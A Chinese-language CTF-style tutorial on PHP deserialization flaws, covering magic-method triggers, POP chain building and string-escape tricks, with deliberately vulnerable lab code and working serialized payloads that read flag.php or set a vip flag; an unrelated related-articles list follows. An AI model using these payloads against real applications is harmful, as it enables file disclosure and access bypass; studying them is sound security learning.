反序列化漏洞详解(二)

news2024/12/26 22:19:04

目录

pop链前置知识,魔术方法触发规则

pop构造链解释(开始烧脑了)

字符串逃逸基础 字符减少

字符串逃逸基础 字符增加

实例获取flag

字符串增多逃逸

字符串减少逃逸


延续反序列化漏洞(一)的内容

pop链前置知识,魔术方法触发规则

魔术方法触发前提:魔术方法所在类(或对象)被调用

类的反序列化的时候 只会触发当前类中的魔术方法 和其他类无关

很好理解 C类被反序列化后得到对象A 其值从序列化的字符串中得到 但是对象A如果触发魔术方法只能触发C类中的魔术方法 ,在这里也说一下,如果字符串中有某一类,反序列化后 系统会认为该对象属于这个类

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";//这是目标
    }
}
$b = $_GET['benben'];
unserialize($b);
?>

目标:触发__tostring魔术方法

这题的很简单 如果想调用wakeup方法 必须反序列化fast类 并且满足wakeup魔术方法的触发条件 这样才能自动调用魔术方法,目标是触发tostring,让source是个对象 就能触发tostring,让source成为sec类的对象 并把对象当成字符串调用就能触发tostring

手工制作:pocO:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

修改源码生成序列化的字符串(poc)
构造poc后 代码执行顺序就是反序列化poc(可以理解为反序列化fast类的序列化的字符串)从而触发wakeup魔术方法 从而执行echo输出source 这是的source已经是sec对象了 echo以字符串形式输出source 就出发了sec类中的tostring魔术方法
注意 wakeup限制性 当执行到echo语句的时候 就将sec实例化成source这个对象了 从而达成了漏洞利用

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
}
class sec {
    var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>

将poc进行传参 成功调用__tostring魔术方法


pop构造链解释(开始烧脑了)

说是烧脑 我感觉不难

pop链构造 poc编写

pop链:在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫"面向属性编程"即POP

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据

大白话:通过修改序列化的字符串里的属性值从而使多个魔术方法多次跳转得到敏感数据(整个过程是POP链最终得到的是POC)

POC编写

在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码

例题

获取flag 提示flag在flag.php中

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

构造pop链反推法:

1.需要找到include函数才能包含一个flag.php的文件 并发现下一条语句为输出flag 所在方法为append include参数通过appen方法传进来

2.找到调用append方法的魔术方法__invoke append参数的值通过当前类属性var中来 所以要将var值设为flag.php

3 看哪里调用了__invoke魔术方法  发现test类中的__get魔术方法会触发 设置p为__invoke所在类的对象 

4 看哪里调用了__get魔术方法 show类中的__tostring魔术方法会触发 设置str为__get所在类的对象

5看哪里调用了__tostring魔术方法 在当前类的__wakeup会触发 将source设置成当前类的对象

6 看哪里触发了__wakeup 在GET传参后如果反序列化show类会触发__wakeup

得出pop链顺序

构造poc 就需要将顺序调过来

这种pop链的poc最好就不要用手工构造的方式 比较麻烦

手工构造

?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

使用源代码构造

第一步

<?php
class Modifier {
    private $var;//var是flag.php
}
class Show{
    public $source;//自己类的对象
    public $str;//test类对象
}

class Test{
    public $p;//Modifier对象
}
$a
?>

第二步

<?php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var="flag.php";//var是flag.php 私有属性只能在类里定义
}
class Show{
    public $source;//自己类的对象
    public $str;//test类对象
}

class Test{
    public $p;//Modifier对象
}
$a=new Modifier();
$b=new Show();
$c=new Test();
$b->source=$b;
$b->str=$c;
$c->p=$a;
echo serialize($b);
?>

输出得到poc

到这里我出现问题了 我测试检查了一个小时 我的poc和老师一摸一样 但是 我测试发现代码执行到__get处没有出发invoke poc和老师的一摸一样 不知道什么原因 然后我把靶场php版本切换到7.0以上就好使了 哈哈

成功获取flag


字符串逃逸基础 字符减少

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般再数据先经过一次serialize再经过unserialize,本来如果有两个属性 但是在其中一个属性的值中构造poc 再通过特定原因 这时反序列化就能出来三个属性

有四点反序列化的知识的基础

1 虽然反序列化的对象A的值从序列化的字符串中来,但是如果字符串中有v1 v2 属性 类A里面还有一个只有v3属性 反序列化的时候系统会认为这就是类A的对象 字符串已经定义了v1v2 系统发现没有v3呢? 然后就加上去了 切记无论类里面定没定义属性值 只要是字符串定义了值 对象A的值都是从字符串中定义的值来 字符串要是没定义 那就从原有类中得来

举个例子O:4:"Show":2:{s:6:"source";r:1;}

2  这2个属性必须要和字符串的属性数目对应

3  这6个字符串长度 必须也要和属性名长度对应

4 a\"b字符串长度就是3 通过s:3来确定的 所以必须要和属性名或值的长度对应 要不然不知道这个双引号是字符还是 功能符

以上就算是前置知识了

属性逃逸刚刚原理说的比较含糊 直接上例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123456789';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以前都是直接传一个需要反序列化的参数 为了出发方法而达到我们想要的目的

但是字符串逃逸属于 明明类中有2个属性 我们如何构造成3个属性呢(这个时候 有人就想 直接修改字符串加上第三个属性得了呗 但是这道题没有修改字符串的条件 只让你传属性一和属性二的参数)


得出O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:9:"123456789";}
$data = str_replace("system()","",$data);

//在这如果把system()去除 因为原有的长度是27 现在只剩下adc三个字符串了 前面也说了这个s:27这个长度要和值对应 所以他会继续往下走把后面的字符也当成这个v1的值标红的(这个时候会报错 因为反序列化往下执行后发现这个值末尾没有双引号呀)

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123456789";}

这个时候我们就要构造v2的属性的值(poc)

v2 = '1234567";s:2:"v3";s:3:"123";}'

这个时候正常序列化的值为 红色的为属性值

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}

去除了system()后

{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}

如果把v2的值去除最后的分号和花括号还有双引号也对

v2 = '1234567";s:2:"v3";s:3:"123'

{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:3:"123";}";}

在反序列化的时候核查到有2(紫色标注的)个属性 所以他会自动向下执行这个时候就多出了一个v3的属性

这样反序列化就出现了3个属性 

属性v1的值就是abc";s:2:"v2";s:28:"1234567

属性v2的值就是原有的123456789

属性v3的值就是123

该对象的值v1v3从字符串中获得 v2从类中获得

这个时候肯定有人想在序列化的时候不是以及给v2赋了一个新值嘛 为什么这里还是123456789

因为 序列化只是为了按照要求生成指定的字符串 的确生成了包含v2指定值的字符串 但是序列化结束后,类原有的样子是不变的,只有那个字符串里面有一个v2的属性 并且值为指定的

最终成功

反序列化字符串减少逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码


字符串逃逸基础 字符增加

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

字符串逃逸基础

字符串增多

演示代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = 'ls';
    public $v2 = '123';

    public function __construct($arga,$argc){
        $this->v1 = $arga;
        $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data =  serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);

var_dump(unserialize($data));

他将ls换成了pwd 

我们想让反序列化识别的字符串 ";s:2:"v3";s:3:"666";}一共22个位置

该代码中将ls替换为pwd 一个ls就能吐出一个位置来 需要22个ls才可以

构造v1参数的值为 lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}

正常情况

替换的情况

把ls替换成pwd后字符串就变成了88 pwd占了66个位置 这个时候正好";s:3:"v3";s:3:"666";}逃逸出来

"用于包裹pwd的字符串 系统往下识别就识别出了v3属性 并且看到了;}就停止了反序列化 具体细节和减少逃逸一个道理没啥区别 不细说了


实例获取flag

字符串增多逃逸

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));//test类进行实例化为param对象 并对类中的user赋值为获得的参数 
// 序列化后值为 $param=O:4:"test":2:{s:4:"user";s:?:"";s:4:"pass";s:8:"daydream";}
$profile=unserialize(filter($param));
//将对象传入filter函数 函数内容是如果对象中国存在flag或者php替换成hack(感觉没啥用呢) ,现在发现有用了 将php替换成hack 一个php就能多出一个位置来
//之后返回该对象并反序列化 在反序列化的过程中要把pass的值设置为escaping
//这样一来我们就需要在序列化的字符串中参数user处构造poc
//如果pass的值为escaping 那么序列化的样子就是 s:4:"pass";s:8:"escaping"; ->-> ";s:4:"pass";s:8:"escaping";}
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}    ........";s:4:"pass";s:8:"daydream";}
//现在有116个字符串 将php换成hack后变成145个字符串 正好";s:4:"pass";s:8:"escaping";"}就逃逸出来了
if ($profile->pass=='escaping'){ 
    echo file_get_contents("flag.php");
}
?>

传参后成功


字符串减少逃逸

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);//匹配如果存在safe数组的值 替换成hk
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];//传入两个参数
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));//实例化test类并序列化赋值给param对象 在实例化的过程//中将传入的两个参数赋值给属性user和pass
//";s:3:"vip";s:4"true";}
//s:4:"user";s:?:"";s:4:"pass";s:xx:"(";s:3:"vip";s:4"true";})";

//use:flagflagflagflagflagflagflagflagflagphp
//pass:";s:3:"vip";s:4"true";}
$profile=unserialize(filter($param));//将字符串作为参数传给函数filter 将返回值反序列化

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

按照代码中的注释我去验证poc发现竟然后去不到flag 研究了很久很久 

最后发现他在实例化的时候 把原有类中的vip也给实例化了这样实例化的字符串会有3个属性

O:4:"test":3:{...}

当时我以为传参user和pass只会实例化为两个属性 忘记了他会自动把类中的vip也进行实例化

就当成O:4:"test":2:{...} 构造完 发现没问题呀就是不出flag 给我气完了 真的这么简单我就然没想到 以后还得更加认真一点

正确的poc

?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1289135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

etcd 与 Consul 的一致性读对比

本文分享和对比了 etcd 和 Consul 这两个存储的一致性读的实现。 作者&#xff1a;戴岳兵&#xff0c;爱可生研发中心工程师&#xff0c;负责项目的需求开发与维护工作。 爱可生开源社区出品&#xff0c;原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。 本…

vue 过滤器 (filters) ,实际开发中的使用

在实际开发中要判断不同的状态,要写很多重复的代码, 类似这样: 这样学麻烦, 不方便维护, 这时候可以用 filters 过滤器 在页面这样写就可以了

(04730)电路分析基础之基尔霍夫定律

基尔霍夫定律包括基尔霍夫电流定律(KCL)和基尔霍夫电压定律(KVL)。它反映了电路 中所有支路电压和电流所遵循的基本规律&#xff0c;是分析电路的基本定律。基尔霍夫定律与元件 特性构成了电路分析的基础。 电路是由电路元件按照一定的方式组成的系统&#xff0c;因此整个电路…

数据库增删改查(CRUD)进阶版

目录 数据库约束 约束类型 表的设计 1.一对一 2.一对多 3.多对多 增删查改进阶操作 1. 插入查询结果 2.查询 聚合查询 聚合函数 group by having 联合查询 内连接 外连接 自连接 子查询 合并查询 数据库约束 创建表的时候制定的一些规则&#xff0c;在后续…

字符串相似度匹配算法_莱茵斯坦距离算法

package day0330;public class LevenshteinDistanceUtil {public static void main(String[] args) {String a "WN64 F98";String b "WN64 F98 ";System.out.println("相似度:" getSimilarityRatio(a, b));}/*** 获取两字符串的相似度* * par…

MinIo 的操作与使用和避坑

文章目录 一、介绍二、安装三、Client 连通与避坑1. SpringBoot 项目2. 自己的 Maven 项目&#xff08;非 SpringBoot 项目&#xff09;思路1&#xff1a;尝试从 Maven 仓库中替换该 jar 包思路2&#xff1a;改造有问题的 jar 包 四、封装一些简单的方法 官方 API 文档&#xf…

阿里云域名解析到非默认端口处理方式

1.需配置两条解析记录&#xff0c;如下图 2.第一条配置A记录&#xff0c;ip指向部署服务器 3.第二条配置隐形记录&#xff0c;指向第一条的网址&#xff0c;并附带端口号&#xff0c;最终访问第二条的网址就不用带非默认端口号了。 4.最终浏览器访问

腾讯云轻量应用服务器挂载对象存储新手入门教程

腾讯云轻量对象存储LighthouseCOS是腾讯云专为中小企业开发者打造的轻量级数据存储服务&#xff0c;适用于云端网站、小程序、课堂演示、云盘/图床等场景下的数据存储和处理任务。腾讯云百科txybk.com详细介绍腾讯云轻量对象存储使用、开通和收费价格说明&#xff1a; 轻量对象…

家用超声波清洗机哪个牌子好?一起来看、值得推荐超声波清洗机

家用超声波清洗机可以干嘛呢&#xff1f;最常见的就是来清洗眼镜。眼镜党朋友应该经常接触超声波清洗机&#xff0c;它常出现在眼镜店中&#xff0c;眼镜店老板帮顾客清洗眼镜&#xff1b;也会出现在工业领域、医疗领域等&#xff0c;超声波清洗机使用范围还是挺广的&#xff0…

MIT6S081-Lab2总结

大家好&#xff0c;我叫徐锦桐&#xff0c;个人博客地址为www.xujintong.com&#xff0c;github地址为https://github.com/xjintong。平时记录一下学习计算机过程中获取的知识&#xff0c;还有日常折腾的经验&#xff0c;欢迎大家访问。 Lab2就是了解一下xv6的系统调用流程&…

Beam Search学习

BackGround 在生成的时候&#xff0c;模型的输出是一个时间步一个时间步依次获得的&#xff0c;而且前面时间步的结果还会影响后面时间步的结果。也就是说&#xff0c;每一个时间步&#xff0c;模型给出的都是基于历史生成结果的条件概率。 为了生成完整的句子&#xff0c;需…

Leetcode—2477.到达首都的最少油耗【中等】

2023每日刷题&#xff08;五十&#xff09; Leetcode—2477.到达首都的最少油耗 算法思想 参考自灵茶山艾府 实现代码 class Solution { public:long long minimumFuelCost(vector<vector<int>>& roads, int seats) {int n roads.size() 1;vector<i…

【开源】基于JAVA的桃花峪滑雪场租赁系统

项目编号&#xff1a; S 036 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S036&#xff0c;文末获取源码。} 项目编号&#xff1a;S036&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 游客服务2.2 雪场管理 三、数据库设…

打工人副业变现秘籍,某多/某手变现底层引擎-Stable Diffusion写好提示词

Stable Diffusion 是一种文生图 AI 模型,由互联网上数百万图像和文本描述对训练而来,通过理解文本描述与图像信息的内在关联,不断利用扩散过程进而得到满意的生成图片。 比如,通过一串提示词,midjourney 会输出这样的情侣合照: A pair of young Chinese lovers, wearing…

Docker部署.NET6项目

Docker的三大核心概念 1、docker仓库&#xff08;repository&#xff09; docker仓库&#xff08;repository&#xff09;类似于代码库&#xff0c;是docker集中存放镜像的场所。实际上&#xff0c;注册服务器是存放仓库的地方&#xff0c;其上往往存放着很多仓库。每个仓库集…

C++学习之路(十五)C++ 用Qt5实现一个工具箱(增加16进制颜色码转换和屏幕颜色提取功能)- 示例代码拆分讲解

上篇文章&#xff0c;我们用 Qt5 实现了在小工具箱中添加了《Base64图片编码预览功能》功能。为了继续丰富我们的工具箱&#xff0c;今天我们就再增加两个平时经常用到的功能吧&#xff0c;就是「 16进制颜色码转RGB文本 」和 「屏幕颜色提取」功能。下面我们就来看看如何来规划…

Postman可以卸载了!这款IDEA插件太好用了!

Postman是大家最常用的API调试工具&#xff0c;那么有没有一种方法可以不用手动写入接口到Postman&#xff0c;即可进行接口调试操作&#xff1f;今天给大家推荐一款IDEA插件&#xff1a;Apipost Helper&#xff0c;写完代码就可以调试接口并一键生成接口文档&#xff01;而且还…

C++笔试题之回文数的判断

“回文”是指正读反读都能读通的句子&#xff0c;它是古今中外都有的一种修辞方式和文字游戏&#xff0c;如“我为人人&#xff0c;人人为我”等。在数学中也有这样一类数字有这样的特征&#xff0c;成为回文数&#xff08;palindrome number&#xff09;。 设n是一任意自然数…

vue3中使用antv-X6实现关系图

先看效果图&#xff1a; 1、安装 npm installantv/x6 --save 这里使用的X6中自定义节点的方式实现的&#xff0c;项目目录如下&#xff0c;hooks里面存放一些函数和变量 nodes里面是自定义节点的页面&#xff0c;最外围的index.vue就是主渲染页面 2、testSh/index.vue 注意&…

计算机视觉GPT时刻!UC伯克利三巨头祭出首个纯CV大模型,推理惊现AGI火花

计算机视觉的GPT时刻&#xff0c;来了&#xff01; 最近&#xff0c;来自UC伯克利的计算机视觉「三巨头」联手推出了第一个无自然语言的纯视觉大模型&#xff08;Large Vision Models&#xff09;&#xff0c;并且第一次证明了纯视觉模型本身也是可扩展的&#xff08;scalabil…